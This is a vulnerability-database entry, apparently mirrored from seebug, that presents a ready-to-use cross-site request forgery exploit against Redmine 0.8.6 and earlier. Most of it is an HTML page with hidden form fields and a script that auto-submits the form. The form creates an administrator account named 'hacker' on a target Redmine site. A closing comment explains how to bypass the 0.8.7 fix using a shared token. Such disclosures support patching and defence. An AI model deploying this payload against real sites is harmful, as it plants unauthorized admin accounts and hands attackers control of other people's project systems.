Lucene search
K

Redmine <= 0.8.6 CSRF Add Admin User Exploit

🗓️ 14 Dec 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 66 Views

Redmine <= 0.8.6 CSRF Add Admin User Exploit. Cross-site Request Forgery in Redmine allows creation of user account with administrative right

Code

                                                /**
*  Redmine &lt;= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: &lt;= 0.8.6
*  Vulnerability: Cross-site Request Forgery
*  Platform: Ruby (Ruby On Rails)
*  Description: this is a simple exploit which use CSRF vulnerability in Redmine, creating user account with adminstartive rights
*/

&lt;html&gt;
&lt;body&gt;
    &lt;form method=POST action=&quot;http://www.vulnerable-site.org/users/new&quot;&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;25&quot; name=&quot;user[login]&quot; id=&quot;user_login&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;30&quot; name=&quot;user[firstname]&quot; id=&quot;user_firstname&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;30&quot; name=&quot;user[lastname]&quot; id=&quot;user_lastname&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;[email protected]&quot; size=&quot;30&quot; name=&quot;user[mail]&quot; id=&quot;user_mail&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;password&quot; size=&quot;25&quot; name=&quot;password&quot; id=&quot;password&quot; value=&quot;hacker&quot; /&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;password&quot; size=&quot;25&quot; name=&quot;password_confirmation&quot; id=&quot;password_confirmation&quot; value=&quot;hacker&quot; /&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;checkbox&quot; value=&quot;1&quot; name=&quot;user[admin]&quot; id=&quot;user_admin&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;user[admin]&quot;/&gt;
       &lt;input style=&quot;display: none&quot; type=&quot;submit&quot; value=&quot;Create&quot; id=&quot;commit&quot; name=&quot;commit&quot; /&gt;
  &lt;/form&gt;
  &lt;script&gt;document.getElementById(&quot;commit&quot;).click();&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

/**
*  P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and all the users.
*  Thus, you can add POST data with token of any user and exploit will get working again
*/
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
66